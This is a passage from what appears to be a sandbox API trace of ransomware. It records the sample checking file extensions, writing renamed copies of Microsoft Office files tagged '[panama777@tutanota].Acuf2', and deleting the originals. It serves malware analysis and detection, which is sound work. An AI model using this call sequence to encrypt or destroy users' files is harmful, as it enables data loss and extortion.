	[0268.057] lstrlenW (lpString=".ppt") returned 4
	[0268.057] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63
	[0268.057] lstrlenW (lpString=".zip") returned 4
	[0268.057] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0268.057] lstrlenW (lpString=".rar") returned 4
	[0268.057] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0268.057] lstrlenW (lpString=".bz2") returned 4
	[0268.057] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0268.057] lstrlenW (lpString=".7z") returned 3
	[0268.057] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63
	[0268.057] lstrlenW (lpString=".dbf") returned 4
	[0268.057] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63
	[0268.057] lstrlenW (lpString=".1cd") returned 4
	[0268.057] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63
	[0268.057] lstrlenW (lpString=".jpg") returned 4
	[0268.057] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0268.058] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.058] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0268.059] GetLastError () returned 0x0
	[0268.059] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x28b, lpOverlapped=0x0) returned 1
	[0268.412] WriteFile (in: hFile=0x218, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x290, lpOverlapped=0x0) returned 1
	[0268.413] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.413] WriteFile (in: hFile=0x218, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0268.413] SetEndOfFile (hFile=0x218) returned 1
	[0268.866] CloseHandle (hObject=0x218) returned 1
	[0268.866] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.866] SetEndOfFile (hFile=0x360) returned 1
	[0269.250] CloseHandle (hObject=0x360) returned 1
	[0269.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 1
	[0269.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67
	[0269.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67
	[0269.334] lstrlenW (lpString=".doc") returned 4
	[0269.334] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0269.334] lstrlenW (lpString=".docx") returned 5
	[0269.334] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0269.335] lstrlenW (lpString=".pdf") returned 4
	[0269.335] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0269.335] lstrlenW (lpString=".xls") returned 4
	[0269.335] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0269.335] lstrlenW (lpString=".xlsx") returned 5
	[0269.335] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0269.335] lstrlenW (lpString=".ppt") returned 4
	[0269.335] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0269.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67
	[0269.335] lstrlenW (lpString=".zip") returned 4
	[0269.335] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0269.335] lstrlenW (lpString=".rar") returned 4
	[0269.335] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0269.335] lstrlenW (lpString=".bz2") returned 4
	[0269.335] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0269.335] lstrlenW (lpString=".7z") returned 3
	[0269.335] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0269.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67
	[0269.335] lstrlenW (lpString=".dbf") returned 4
	[0269.335] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0269.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67
	[0269.335] lstrlenW (lpString=".1cd") returned 4
	[0269.335] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0269.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67
	[0269.335] lstrlenW (lpString=".jpg") returned 4
	[0269.335] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0269.408] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=207) returned 1
	[0269.408] CloseHandle (hObject=0x218) returned 1
	[0269.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 0x20
	[0269.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.409] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.409] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.409] GetLastError () returned 0x0
	[0269.409] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xcf, lpOverlapped=0x0) returned 1
	[0269.410] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0269.411] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.411] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0269.411] SetEndOfFile (hFile=0x36c) returned 1
	[0269.411] CloseHandle (hObject=0x36c) returned 1
	[0269.411] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.411] SetEndOfFile (hFile=0x218) returned 1
	[0269.413] CloseHandle (hObject=0x218) returned 1
	[0269.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 1
	[0269.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63
	[0269.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63
	[0269.414] lstrlenW (lpString=".doc") returned 4
	[0269.414] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0269.414] lstrlenW (lpString=".docx") returned 5
	[0269.414] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0269.414] lstrlenW (lpString=".pdf") returned 4
	[0269.414] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0269.414] lstrlenW (lpString=".xls") returned 4
	[0269.414] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0269.414] lstrlenW (lpString=".xlsx") returned 5
	[0269.414] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0269.414] lstrlenW (lpString=".ppt") returned 4
	[0269.414] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0269.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63
	[0269.414] lstrlenW (lpString=".zip") returned 4
	[0269.414] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0269.414] lstrlenW (lpString=".rar") returned 4
	[0269.414] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0269.415] lstrlenW (lpString=".bz2") returned 4
	[0269.415] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0269.415] lstrlenW (lpString=".7z") returned 3
	[0269.415] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0269.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63
	[0269.415] lstrlenW (lpString=".dbf") returned 4
	[0269.415] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0269.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63
	[0269.415] lstrlenW (lpString=".1cd") returned 4
	[0269.415] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0269.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63
	[0269.415] lstrlenW (lpString=".jpg") returned 4
	[0269.415] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0269.415] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=113) returned 1
	[0269.415] CloseHandle (hObject=0x218) returned 1
	[0269.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 0x20
	[0269.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.416] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.416] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.416] GetLastError () returned 0x0
	[0269.416] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x71, lpOverlapped=0x0) returned 1
	[0269.417] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0269.418] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.418] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0269.418] SetEndOfFile (hFile=0x36c) returned 1
	[0269.418] CloseHandle (hObject=0x36c) returned 1
	[0269.418] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.418] SetEndOfFile (hFile=0x218) returned 1
	[0269.421] CloseHandle (hObject=0x218) returned 1
	[0269.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 1
	[0269.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65
	[0269.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65
	[0269.421] lstrlenW (lpString=".doc") returned 4
	[0269.421] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0269.421] lstrlenW (lpString=".docx") returned 5
	[0269.421] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0269.421] lstrlenW (lpString=".pdf") returned 4
	[0269.421] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0269.421] lstrlenW (lpString=".xls") returned 4
	[0269.421] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0269.421] lstrlenW (lpString=".xlsx") returned 5
	[0269.421] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0269.421] lstrlenW (lpString=".ppt") returned 4
	[0269.422] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0269.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65
	[0269.422] lstrlenW (lpString=".zip") returned 4
	[0269.422] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0269.422] lstrlenW (lpString=".rar") returned 4
	[0269.422] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0269.422] lstrlenW (lpString=".bz2") returned 4
	[0269.422] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0269.422] lstrlenW (lpString=".7z") returned 3
	[0269.422] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0269.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65
	[0269.422] lstrlenW (lpString=".dbf") returned 4
	[0269.422] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0269.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65
	[0269.422] lstrlenW (lpString=".1cd") returned 4
	[0269.422] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0269.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65
	[0269.422] lstrlenW (lpString=".jpg") returned 4
	[0269.422] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.423] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=1544) returned 1
	[0269.423] CloseHandle (hObject=0x218) returned 1
	[0269.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 0x20
	[0269.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.424] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.424] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.424] GetLastError () returned 0x0
	[0269.424] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x608, lpOverlapped=0x0) returned 1
	[0269.425] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x610, lpOverlapped=0x0) returned 1
	[0269.426] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.426] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0269.426] SetEndOfFile (hFile=0x36c) returned 1
	[0269.426] CloseHandle (hObject=0x36c) returned 1
	[0269.426] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.426] SetEndOfFile (hFile=0x218) returned 1
	[0269.428] CloseHandle (hObject=0x218) returned 1
	[0269.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 1
	[0269.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59
	[0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59
	[0269.431] lstrlenW (lpString=".doc") returned 4
	[0269.431] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString=".docx") returned 5
	[0269.431] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1
	[0269.431] lstrlenW (lpString=".pdf") returned 4
	[0269.431] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString=".xls") returned 4
	[0269.431] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0269.431] lstrlenW (lpString=".xlsx") returned 5
	[0269.431] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1
	[0269.431] lstrlenW (lpString=".ppt") returned 4
	[0269.431] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59
	[0269.431] lstrlenW (lpString=".zip") returned 4
	[0269.431] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0269.431] lstrlenW (lpString=".rar") returned 4
	[0269.431] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString=".bz2") returned 4
	[0269.431] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString=".7z") returned 3
	[0269.431] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59
	[0269.431] lstrlenW (lpString=".dbf") returned 4
	[0269.431] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59
	[0269.431] lstrlenW (lpString=".1cd") returned 4
	[0269.431] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59
	[0269.431] lstrlenW (lpString=".jpg") returned 4
	[0269.431] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0269.432] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=7438482) returned 1
	[0269.432] CloseHandle (hObject=0x218) returned 1
	[0269.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs")) returned 0x20
	[0269.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63
	[0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63
	[0269.432] lstrlenW (lpString=".doc") returned 4
	[0269.432] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0269.432] lstrlenW (lpString=".docx") returned 5
	[0269.432] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0269.432] lstrlenW (lpString=".pdf") returned 4
	[0269.432] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0269.432] lstrlenW (lpString=".xls") returned 4
	[0269.433] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0269.433] lstrlenW (lpString=".xlsx") returned 5
	[0269.433] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0269.433] lstrlenW (lpString=".ppt") returned 4
	[0269.433] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63
	[0269.433] lstrlenW (lpString=".zip") returned 4
	[0269.433] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0269.433] lstrlenW (lpString=".rar") returned 4
	[0269.433] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0269.433] lstrlenW (lpString=".bz2") returned 4
	[0269.433] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
